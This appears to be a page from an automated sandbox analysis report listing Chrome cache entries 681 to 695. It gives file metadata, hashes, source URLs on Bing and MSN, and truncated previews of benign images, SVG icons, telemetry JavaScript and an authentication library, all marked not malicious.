Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..ks....+..n..&6.6.....n."..t..........W......3..U..gR;U.<b.\|{U..M....8..Y7.....tH~......1.RqLjM.{7.1..G..I~.X..#..K.AL.T.!....L..u_........z..P......./u._G..kU.......+.._...`.SZ1.(.Q)V..\|.q..Ho../.F.F..6a.I.T...q_Iyk.(1F..R.1.?.T.\|.s...Lw.K..K.+P....>......../.L.<..ZN...&.s...:.....O".\\|..$`.V..k..k....K.S......T.....S..../.....=X0?.W....b..&}..W.riv....L}

Chrome Cache Entry: 681

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21819)
Category:	downloaded
Size (bytes):	21850
Entropy (8bit):	5.354090222291205
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfiWahKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0TVteAaV:Y5TifxbBpBnqIH+Z6sepXv0uAaV
MD5:	30280C218D3CAAF6B04EC8C6F906E190
SHA1:	653D368EFDD498CAF65677E1D54F03DD18B026B5
SHA-256:	D313C6FFF97701CC24DB9D84C8B0643CA7A82A01C0868517E6E543779985C46E
SHA-512:	1F329898FA0E68F65095B813CA20351ACFEAA5F74DB886508FD4F1FA85811A8CC683C6FAB9D9F094F596C8957219F8E29A6307EA0B2D470BDC809A4B9C9D34DC
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ZT02jv3UmMr2Vnfh1U8D3RiwJrU.js
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

Chrome Cache Entry: 682

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2737
Entropy (8bit):	5.143739593947487
Encrypted:	false
SSDEEP:	48:TSEFkrgXL4vxyL9oG5e/LGlCbux1ZkCLtgQQ/TY740a3HOzw3B+THvRkqBHtoUqM:mrTeRkaAburmvlSxINwTqeW1MN
MD5:	8F824B93502AA4AA1CF9F8A77E6B7F10
SHA1:	7EE42795FD98366080A6D79A134F18CA84DDB064
SHA-256:	6CFE41748D6981393CFDB649AB1048EE0F08C1F2BAFAF7E5BECA030DD77EBC56
SHA-512:	CBB60A1DB15705AAB7BA4AC64F7AE960BD30317E301204C65A7ED0C5C7C10333120523D5E101A9874E8858FCCC7C5981AB996AB57708FDA09D578E8CFCCA77F1
Malicious:	false
Reputation:	unknown
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<g filter="url(#filter0_f_2673_133239)">.<path d="M35.7195 13.5491C35.7195 7.72157 30.9337 2.9989 25.0317 2.9989C19.1296 2.9989 14.3439 7.72157 14.3439 13.5491V41.2798C11.0857 44.1804 9 48.3335 9 53.0008C9 61.7448 16.1813 68.8275 25.0317 68.8275C33.8848 68.8275 41.0634 61.7448 41.0634 53.0008C41.0634 48.3335 38.9776 44.1804 35.7195 41.2798V13.5491Z" fill="url(#paint0_linear_2673_133239)" fill-opacity="0.2"/>.</g>.<path d="M36.6355 13.5766C36.6355 7.73387 31.8498 2.9989 25.9477 2.9989C20.0456 2.9989 15.2599 7.73387 15.2599 13.5766V41.3795C12.0018 44.2877 9.91602 48.4516 9.91602 53.131C9.91602 61.8977 17.0973 68.9989 25.9477 68.9989C34.8008 68.9989 41.9794 61.8977 41.9794 53.131C41.9794 48.4516 39.8936 44.2877 36.6355 41.3795V13.5766Z" fill="url(#paint1_linear_2673_133239)"/>.<rect x="21.9398" y="9.99887" width="8.01584" height="27" rx="4.00792" fill="black" fill-opacity="0.2"/>.<path fill-rul

Chrome Cache Entry: 683

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1304
Entropy (8bit):	4.767968631693785
Encrypted:	false
SSDEEP:	24:YogdqtOLxL1iKCSzSQxmdfpkZnEDoAQE:TjtOniKCSlmJpCncx
MD5:	671DDC2887FB01DFC418864231D503E0
SHA1:	C709A9F97B41095CD1A0436FDE285467AC460147
SHA-256:	E2D2752332894DBDC79D3690468FD5811B38A7AB1380AD788165F1458C9C1968
SHA-512:	D65ECB575D650443B0FACFC74ECD0B9173B38AA2D497DE066F13A5DF892899040FACFE293C055FB4667DACD0FAB904B85B7C06EFC4C455645254ECE1BDA8A59F
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBWdbbd.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....NIDATx..SMkSA.=..%R....4..QP.XHM7fSL.@. ]....HQAD...A..;A.;EH......DE("...j..&mc.....Lx1../.;w.93w.^.-b%3.$.i.#...M..>3.x\..s..R'..`T...<.].=.f.8.t..h.&/9...&...k.....p% ]...`....@..<.....M`..[......b....K...&.W5.A..]3..vb....J)/h7.)].........-%\|...s?14.%...i.z5a.\|....@..h..u..f..8..g.=.[XBz1...P..J!....E..Z...O..t..#..>._...`..QWa..-..lG........&..C....7.\.Fzi..Q{E/P....=G.<.}+....j.W.......o".....F.g....v.;..TZ.l..B$.......w.b..r...2.?.a.,;.~..C..E.!..:x._.\|..sn...R. ....%.....*.q'..&......\|"......;.WU.......a3...>.7....<U..2M....'....v.S.Lp...........T)....IEND.B`.............................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 684

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.746571054177901
Encrypted:	false
SSDEEP:	12:6v/7hJp8IkCuF6aDUSFPVKkT/qUn9WIlwKILyhFCHvjXabkJiwypN4:SpWLzp1A0wKILyhoHvrvXAN
MD5:	37CF855C1E1C773C05DFAE6D323C0978
SHA1:	FC2D73558B5A03C5CE0084BA0B70767A1773C728
SHA-256:	990A8A1556EEBE54E3730A3C84B390FD2DAD626CA7A54DA6A7F138F92527E9A8
SHA-512:	C02F5B70F5D1BA90DC14A8155DC2956D60297930E6E34F50295F6ACD84671FA2E78CDEFDD730B271916D49F8C1A49C69962030C84BB4BAB72714BFE328A66BFF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+..... IDATx..SMHTQ.....y>..j...d..v.B.{!7.+.%..Q.j$....Em.D.VA....I....ZL.j.......9..<.aZu......}..s.~.JK..Y17. ....G@8.-..}.\.1:N.6`.....l....yR...,...hYp.{ .[.....(...D...\|.g..4<.'...!.S......&`.?..7.c{&.a.P...}......c..... .....E..!q...kV..2.M..N..2.........X..P.s.v.9.G:P".c..1.".;....+&R..M..f." ..d..d_g.....~..:.7.....W..o. v.....O..........>.:.....'..a...H^.h^...";..Ab........QU.zb...4...3.U.0Z[.^....)..G.';.........0;.q...N.y.0..y.F...Q.............C.X............kl..Pfm.?...n}.*..v.[..E.\..Q.........4@uYh... .....e)...._i..[r..?....IEND.B`...........................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 685

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1477
Entropy (8bit):	5.147477666443474
Encrypted:	false
SSDEEP:	24:t4I6nxZuFcLwLsLjpaABLNRERBLLR5RBLoRFkERBLh4HxpGydGPS5HxpGESGMcRD:knpLwLsLj3LN2TLLHTLoUETLuHaDPGHd
MD5:	411B26A34D3C7CAB1793600C7461D628
SHA1:	5F4D10834676335CB8FECBF4A6405BDFDB02B2B7
SHA-256:	EAB006435A852C9CBD409B53D14980A92DD072DCCC22316FC562528EB0C54000
SHA-512:	C1F73327871B9B80008D1E57291E1DD2B09068CB0564C597183DFD1EE58E7C2FF131DC3F9EA71A411A87142C1AB038B354C430137AAA90BF0D95A684C083BB41
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16" width="14" height="16">..<path fill="#737A80" d="M1 1h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 6h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 11h14a4 4 0 01-4 4H5a4 4 0 01-4-4z"/>..<rect width="8" height="16" x="4" fill="url(#paint0_linear)" rx="1"/>..<circle cx="8" cy="3" r="2" fill="#FF4C00"/>..<circle cx="8" cy="3" r="2" fill="url(#paint1_linear)"/>..<circle cx="8" cy="8" r="2" fill="#FFB900"/>..<circle cx="8" cy="8" r="2" fill="url(#paint2_linear)"/>..<g>.. <circle cx="8" cy="13" r="2" fill="#78D30C"/>.. <circle cx="8" cy="13" r="2" fill="url(#paint3_linear)"/>..</g>..<defs>.. <linearGradient id="paint0_linear" x1="8" x2="8" y1="0" y2="16" gradientUnits="userSpaceOnUse">.. <stop stop-color="#5C6166"/>.. <stop offset="1" stop-color="#45494D"/>.. </linearGradient>.. <linearGradient id="paint1_linear" x1="9" x2="7" y1="4.732" y2="1.268" gradientUnits="userSpaceOnUse">.. <stop stop-color="#D83B01"/>.. <stop offset="

Chrome Cache Entry: 686

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	16805
Entropy (8bit):	7.96652595342381
Encrypted:	false
SSDEEP:	384:eO78M4HdOWkPItioxSE8axWB9RznBYId/AzqNWpKtM6QHfK:eOhzIMoxSEd+9Y4/SqeK66p
MD5:	30085D1F40ACD483B2CA93C4EA164E53
SHA1:	DFD08585B733A0D719CDB83EED9C99BA3E787EF5
SHA-256:	36FCE38700B44FC77613A39F3DC54B7FFFA9A28B26517CF16B967968022F88D2
SHA-512:	8EECC9F98933D2EA51E42A165717E4E60359A977156D4E334EECAE615724DA32909C59B74D62F6A52638198E5094F0E1F8C5A782288BF18488C19AEA5494F28C
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.090c5d5caf4002e5d0ddcd417aabfe70&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....6p}q.&`3..b..'..Ozlj.A.Z....B........D..I..sRZ..Nq..vV,x..(}H.[$}9...`u..U.bLc..V.A. g..[...6.D..``..Q.u.=.:2.j.<.....<.7d....._C.`...1W,[j....j....P.2O..?.Cx7.].;..jl...'4.W.q......b....p.e......9.[<t5...)....k...P...7..S...G..?.4..^.ZL..V.+....(..N:z{..V.vL.f.s.6...Q.A...]....x....(.{.e.s..e.S........[Sc.<..g.o..y.3.....4y...]..+d..?{.y.x..'.nk

Chrome Cache Entry: 687

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1829
Entropy (8bit):	3.958376074234918
Encrypted:	false
SSDEEP:	24:tVvnjuDebkQ/KN8NUfgVNsukQyO/HOOF7ygEjzKzBF6RR2poIugpDco1EISiezGA:rnC2R/74gVNbWgUzKznSooILDpOHxh
MD5:	B006565D5EE6ED73849DDBC655EDEA32
SHA1:	3271C938DF715185E983EA682EFC9C7E870C58E0
SHA-256:	51F195E58525D32BFEC69FB435044246E340540C88CBBAC83501969EF638820E
SHA-512:	6D8126DA32DE2600693541C95A010BA5CB4B9A97401BC7EA335974DB451020677550A05D5379DD5670719B87CBC72B9E519F007769EF1AF1BD3D03C33900635C
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/MnHJON9xUYXpg-poLvycfocMWOA.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">. <path d="M13.5001 5.00088C14.8255 5.00088 15.91 6.03236 15.9947 7.33639L16 7.50075V13.5001C16 14.8255 14.9685 15.91 13.6645 15.9947L13.5001 16H7.50075C6.17534 16 5.09084 14.9685 5.0062 13.6645L5.00088 13.5001V7.50075C5.00088 6.17534 6.03236 5.09084 7.33639 5.0062L7.50075 5.00088H13.5001ZM13.5001 6.00083H7.50075C6.7211 6.00083 6.08038 6.59569 6.00769 7.3563L6.00083 7.50075V13.5001C6.00083 14.2798 6.59569 14.9205 7.3563 14.9932L7.50075 15.0001H13.5001C14.2798 15.0001 14.9205 14.4052 14.9932 13.6446L15.0001 13.5001V7.50075C15.0001 6.7211 14.4052 6.08038 13.6446 6.00769L13.5001 6.00083ZM10.5004 7.00078C10.7459 7.00078 10.95 7.17764 10.9924 7.41088L11.0004 7.50075L10.9994 10.0005L13.5005 10.0006C13.7766 10.0006 14.0004 10.2245 14.0004 10.5006C14.0004 10.746 13.8236 10.9502 13.5903 10.9925L13.5005 11.0006L10.9994 11.0004L11.0004 13.5005C11.0004 13.7766 10.7766 14.0004 10.5004 14.0004C10.255 14

Chrome Cache Entry: 688

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19008)
Category:	dropped
Size (bytes):	316988
Entropy (8bit):	5.239088634343518
Encrypted:	false
SSDEEP:	6144:vLKLj7yjWF276GNg9fpe3HdabIKSB1DkCXW8o0oMlppfbm:zgj7bSB1DkCXW8T5dbm
MD5:	8192D891E754AFD81A399F98BC6B265F
SHA1:	965E6C69F45118FEAB86EEEBBB0FC4964F2B3A98
SHA-256:	E2E4D97C20D4478E8E947480C8F6C71A2C795776D405366BE70DB82E4EA4BA77
SHA-512:	7C2712A1E34DA9062F50E7D93F4E74772044E45C265C682ABCD4E28E4004DCDAF6CE7479A4E8785986A88A32257E4FAC0ECF8CE23AFE47968C4510DF0A2C800B
Malicious:	false
Reputation:	unknown
Preview:	/! @azure/msal-browser v2.28.2 2022-09-06 /."use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).msal={})}(this,(function(e){./! ****************************************************************************. Copyright (c) Microsoft Corporation... Permission to use, copy, modify, and/or distribute this software for any. purpose with or without fee is hereby granted... THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH. REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY. AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,. INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM. LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR. OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION

Chrome Cache Entry: 689

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (29136), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	48402
Entropy (8bit):	5.486987639846268
Encrypted:	false
SSDEEP:	768:KkuL2ym/YIZE2u16tNz14nOIqVp1hO7JUDWvjygz+YIdQFSO4FWCPPZPzAT8SjF2:D3zhSjyJ1FWCpPwONifi
MD5:	2905CC3AA3AB7208BD9AF9581AA1CE20
SHA1:	60550C9A64AA30B6854D3ABD78A97B66C0373274
SHA-256:	4672742CAE6C61A00A6DFB9935FA36BBC04644C056605EC1F12643E869D32F46
SHA-512:	7DC764B7FEF18E2AF8150F220ADD6AD832057320DB9F3DCE44E8515C3984E84F7473B6C397E615F0F76D935F177577D51FD80E0DD65137B3E44BAD110C9EB7CA
Malicious:	false
Reputation:	unknown
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

Chrome Cache Entry: 690

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2913
Entropy (8bit):	5.210753142735573
Encrypted:	false
SSDEEP:	48:TS9ldcFHMDcldcFHMDMLgldcFHMDMLO3RlpH//LwgZFLZq2LSHtRjVMHtnhw9MHh:wdcFU2dcFUtdcFUJI1SngMV
MD5:	149EE3CBE1BE0EE49920FDAD16764415
SHA1:	B1D49A73FCD0C3980B32F3C8EB5C4A9855923F57
SHA-256:	3D6C8EFB4E185EBD336CF879F8147B74A4DC41D142C8CEB973D676DCA180DE04
SHA-512:	4524F0BDB1FBFD9C2147FA7BA286234BD73A84CCD74CC94B6D1E087F0F03497460CE2BDEB1CA5237777C90286EC2CFBC36E1EAC96248BABE4C948053D1A6B371
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/CloudyV3.svg
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13 14.5107 20.7504 12.4418 31.0409C5.48057 31.5806 0 37.4003 0 44.5C0 51.9558 6.04416 58 13.5 58Z" fill="#E7F1FF"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13 14.5107 20.7504 12.4418 31.0409C5.48057 31.5806 0 37.4003 0 44.5C0 51.9558 6.04416 58 13.5 58Z" fill="url(#paint0_linear_582_42049)"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13

Chrome Cache Entry: 691

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	27050
Entropy (8bit):	5.311910726386856
Encrypted:	false
SSDEEP:	384:Ju5HpoedXBkzeBPaMZFbIf3NGvRgr32YPGeCxfRPPOqbgoMmb+KAYpHYs7+x:J6xtBkzeoM/biGg9GecwKgoMmNp4s7+x
MD5:	6766470B95D42D3B8AB4CF543FA49BD2
SHA1:	DC905CDF6875CD8BB69CA94385934E2683884DB5
SHA-256:	CDA368A18C96F2E11242E0463B1A5E55D91994E41DA38B41F9C82C0C20A55102
SHA-512:	9902C88A12CC9A9AB397AF420D56EEE82A9D3FBB75E38EA3D62FECF18D479B1FE23DA3975C0593FD0FB70367C6ED2778130BFDA6A2FE23530806502E27ECB391
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/logo/ms-start-logo-white.svg
Preview:	<svg width="45" height="14" viewBox="0 0 45 14" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.<rect width="45" height="14" fill="url(#pattern0)"/>.<defs>.<pattern id="pattern0" patternContentUnits="objectBoundingBox" width="1" height="1">.<use xlink:href="#image0_51_2339" transform="matrix(0.000879864 0 0 0.00282813 -0.2438 -0.774074)"/>.</pattern>.<image id="image0_51_2339" width="1704" height="901" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABqgAAAOFCAYAAAAWJGOCAAAACXBIWXMAAC4jAAAuIwF4pT92AAAgAElEQVR4nOzdTXIcR5Yu0HCZxl2oFRTUGyhoBQQn/YaE5s+MwApIroDkCkCuAJBZzwkNX08IroDQBprQCoTqDfizoG6qUyB+8ifcwyPyHDOa1GoyEfD0DLDuF/d6BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Chrome Cache Entry: 692

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.297687791356906
Encrypted:	false
SSDEEP:	12:6v/7PHK5vmTHief+oUXQzBw0Kqp90+JZ8WDJhg0XYkDBwOY:Mq5vmxf+oUXQlvxT0+JHNztY
MD5:	BDB31A2F26EA362FB3CF71D59021BA62
SHA1:	7CD518B87EBEBEA1694D08EB79C66531B2806715
SHA-256:	5EC6996DFBC761C63BC244CE4ADC104541E399DB02D9EDBDF673450CEBA75A2E
SHA-512:	8A92C8746DC103C5BE51A807984E126DE65CDD231989AD929FAD052E3BE66543726CC2B045B6E5673A62BEEBDED1B9E0D4959A55158489E4EB8ABE5F812903CD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..R..AQ.].........U..F..z.@..$.....9..F".....B.o...5ss.=87.;..k..Y.=3..ax.h4B.T".f2..X,..d4J.\....Bc.....4..5S.6J&g$... .l6.j....;....z..dRRR..r..F..@ .\|>/.^A"...........0..hT.O..V.U..f.`..B.......-.z..^/<..N....d.\.........a,.K....!...^....x.Z<..b.d2.-c.X4....#.J.-.6J..l0......V..f..&...~*8.........zS....r..<.P(......n..n.....N.}..o.....v.!4.x<.\|>G6...`..j.x...s.S2.R.2.Q#{.....v...q<.q..`.X$g..y..N..2.._....IEND.B`...............

Chrome Cache Entry: 693

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	4.764409764786972
Encrypted:	false
SSDEEP:	12:6v/7GbP+J5W457HOsjgkhoDWcpHL2/t57qiWa8ZT1a+1pbHiehxNpBNsA/:3bPb45Ukh7cpr2/tEfaoRVjdsa
MD5:	F5A837F815886D5BB0AA47AFD8D416C0
SHA1:	D53FE6FA5B387C1464400E9DFA74D2629578FDC0
SHA-256:	78F43709977245B6239D816A09FFE0B68BACEC488F15618CA0CE66A002C5A472
SHA-512:	292CB59926DB7D811738F6E3F380AFBE8C7EE0016D468B9F51E876714C6A00995C0CF5B2CC084A9F07389ABC9306FB2471915E0635B5054A69598C9047AA12B9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....kIDATx..OH.q..?..ss..e..\9m...i...Q.&.H^....:..<u...Ix.:DP..3.<.......P4.J.ej..... .../=.......<.-....F.D@.....G..FU~!6...&.I...b.5.....GA...N....\|.(.....r......M=.T....J<.34.z....~=A...P..MH..ZQ..q.tK..w..>7F..b.(....3..2...X.....c.T.-V..+%y.^4C_...aOB......PXZ.cM..!)..9...lIO.zV..I.........AtV....9..+.P..e[.u..h....#7d....@...}....\|.}D.9.)4.)B&<...Fw.....a.K..%...i. ....9..^...x.z0M..##..#.3..l.4.dR#...t2.'.F".t.......\|.)....s..f....{h?VYbz.Q..e.mu..?......T..E8.A...y.y..?:.k.%i.4e..c........g$C*i1......OYDeu.d...KB..Mg.M..~....J..j`G.n'3......u.^..3J.f..~O..>x..H....p.hm.M....2.......U.6....IEND.B`................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 694

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5235
Entropy (8bit):	7.915838822311368
Encrypted:	false
SSDEEP:	96:8zgEtzKiyw9ewk7gBzP3RovWzNb9tXf5oWR9cqkv/+:ygizKi/ewkMP3Cuz/9x9ae
MD5:	822F9E47D1941C96DE090670D5E49FF6
SHA1:	A9B3C7E3B73B208F74062E86ACA4747B47489608
SHA-256:	EDBC6B8400D9666772758F4254BA667CF671398C697F1954DE81CEB324B140B0
SHA-512:	DB1F05F74BCD99F39660BA9B077456F33720D3B6821F55A5ED0584EA416F5578389ED64AAB0DBEA7D33D22A5205C8F435104C1F28621D0FEAC740DF079710319
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_NC-OprYXrwzIWe0YQY-_SQ&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..-.-..6..S..E;KCr....=iZ..q..\|.y..5......2lI.e.t.U...,r}k.O..........:4....(9'.?...^hl......jORN.}..4}..L.Kte.....zS..;W?.{.^.9F..#.."C...F...3..F.2..(.G.&.u......v5hD,F".I0=.....1...}ou...Ko.ls.I..5.}......."msJ../%......uX......ap.._[J.2.&R..S...u.w_._.m&.~.p..^....?.iC...........c.4/i%xD.a......;..uB.V.E..a...U&..F>....k....u..v..".......u.&...0G

Chrome Cache Entry: 695

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Reputation:	unknown
